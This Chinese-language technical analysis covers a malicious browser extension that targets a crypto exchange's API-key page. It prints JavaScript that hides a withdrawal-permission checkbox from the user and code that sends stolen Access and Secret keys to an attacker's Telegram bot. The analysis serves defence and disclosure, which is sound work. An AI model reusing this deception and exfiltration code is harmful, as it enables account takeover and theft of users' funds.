摘要
瀏覽器擴充功能的安全性威脅已從簡單的廣告軟體演變為複雜的金融間諜工具。最近的調查發現了一個高度針對性的惡意擴充功能「MEXC API Automator」,專門攻擊加密貨幣交易所的 API 管理介面 [1] 。此分析針對該惡意軟體的架構進行深入技術探討,重點在於其 DOM 操作技術、UI 欺騙機制以及外洩協定(Exfiltration protocols)。透過分析底層的 JavaScript 邏輯,可以瞭解現代 Threat actor 如何繞過使用者的警覺,在不破壞傳統登入認證的情況下實現完全的帳號接管。
1. 攻擊向量的架構概覽
「MEXC API Automator」的攻擊生命週期以其精準度為特徵。與擷取所有按鍵紀錄的通用惡意軟體不同,此擴充功能會保持潛伏,直到符合特定的 URL 模式。主要目標是 MEXC 交易所的 API 管理頁面,使用者在該頁面產生用於自動化交易金鑰。下圖說明了受害者瀏覽器、合法交易所介面以及攻擊者的命令與控制(C2)基礎設施之間的互動。
2. UI 欺騙機制的技術分析
該惡意軟體最關鍵的組件之一是在 API key 設定過程中欺騙使用者的能力。加密貨幣交易所通常要求使用者手動啟用 API key 的「提幣」權限,且通常伴隨著多重警告。「MEXC API Automator」透過程式化啟用該權限,同時在使用者介面上隱藏其狀態,藉此繞過這種心理防線。
2.1. DOM 操作與 CSS 注入
此擴充功能結合了直接的 DOM 操作與 CSS 注入,以確保「提幣」權限保持不可見。即使使用者檢查核取方塊,該惡意軟體也會利用
MutationObserver
來還原任何可能揭露表單真實狀態的視覺變化。這種技術類似於在其他惡意擴充功能中觀察到的「hijacking」方法,其中底層瀏覽器環境與呈現給使用者的視覺表示是脫鉤的
[2]
。
- // Technical Analysis: UI Deception Logic in script.js
- // This snippet demonstrates how the malware hides the withdrawal permission state.
- if (checkbox.getAttribute('value') === 'SPOT_WITHDRAW_W') {
- const wrapper = checkbox.closest('.ant-checkbox');
- if (wrapper) {
- // Step 1: Remove the visual "checked" class from the UI component
- wrapper.classList.remove('ant-checkbox-checked');
- // Step 2: Inject CSS to suppress the checkmark icon globally for this specific input
- const style = document.createElement('style');
- style.textContent = `
- .ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"]
- ~ .ant-checkbox .ant-checkbox-inner::after {
- display: none !important;
- }
- `;
- document.head.appendChild(style);
- // Step 3: Implement a MutationObserver to ensure the deception persists
- // If the web application's React/Vue state updates the UI, this observer reverts it.
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (
- mutation.type === 'attributes' &&
- mutation.attributeName === 'class' &&
- wrapper.classList.contains('ant-checkbox-checked')
- ) {
- wrapper.classList.remove('ant-checkbox-checked');
- }
- }
- });
- observer.observe(wrapper, { attributes: true });
- }
- }
3. 自動化認證擷取與外洩
一旦使用者完成雙因素驗證(2FA)程序(惡意軟體允許正常進行以避免引起懷疑),交易所會顯示一個包含
Access Key
和
Secret Key
的強制回應視窗。在此精確時刻,內容腳本會識別該視窗元素並擷取純文字字串。
3.1. 以 Telegram bot API 作為 C2 頻道
利用像 Telegram bot API 這樣的合法服務進行資料外洩,是繞過網路層級安全過濾器的常見策略。由於前往
api.telegram.org
的流量在企業和家庭環境中通常是被允許的,因此外洩行為不會被基本的防火牆規則偵測到。這種策略反映了「供應鏈」漏洞,即合法的通訊頻道被重新利用於惡意用途
[2]
。
- // Technical Analysis: Exfiltration Protocol
- // The following logic handles the transmission of stolen keys to the attacker.
- async function sendKeysToTelegram(accessKey, secretKey) {
- // Hardcoded credentials for the attacker's Telegram bot
- const botToken = '7275414315:AAH_REDACTED';
- const chatId = '7144218355';
- const payload = {
- chat_id: chatId,
- text: `[ALERT] New MEXC API Key Stolen:\nAccess Key: ${accessKey}\nSecret Key: ${secretKey}\nPermissions: Full (including Withdrawal)`
- };
- try {
- // Utilizing the standard fetch API to send data to the Telegram C2
- await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify(payload)
- });
- } catch (error) {
- // Silent failure to avoid alerting the user
- console.error('Network error');
- }
- }
4. 擴充功能型威脅的比較分析
下表比較了「MEXC API Automator」與近期網路安全研究中識別出的通用瀏覽器 hijacking 模式的技術特徵 [2] 。
| 特性 | MEXC API Automator | 通用瀏覽器 Hijacking [2] |
|---|---|---|
| 主要目標 | 金融認證竊取 (API Keys) | 流量導向與廣告詐欺 |
| 觸發機制 | 特定 URL 模式比對 |
全域
chrome.tabs.onUpdated
監聽器
|
| 持續性 | DOM Mutation Observers | 背景 Service Workers |
| 外洩頻道 | Telegram bot API | 客製化 C2 HTTP 端點 |
5. 結論與緩解策略
「MEXC API Automator」代表了惡意擴充功能設計的重大轉變,從廣泛的資料收集轉向高度特定、高價值的目標。透過自動化建立具備提幣權限的 API key 並採用複雜的 UI 欺騙,Threat actor 有效地繞過了 2FA 的安全效益。技術緩解需要多層次的方法,包括實施限制未經授權腳本執行的內容安全政策(CSP),以及使用「子資源完整性」來防止 DOM 竄改。此外,必須教育使用者瞭解那些在敏感金融平台上要求廣泛權限的「生產力」擴充功能所帶來的風險。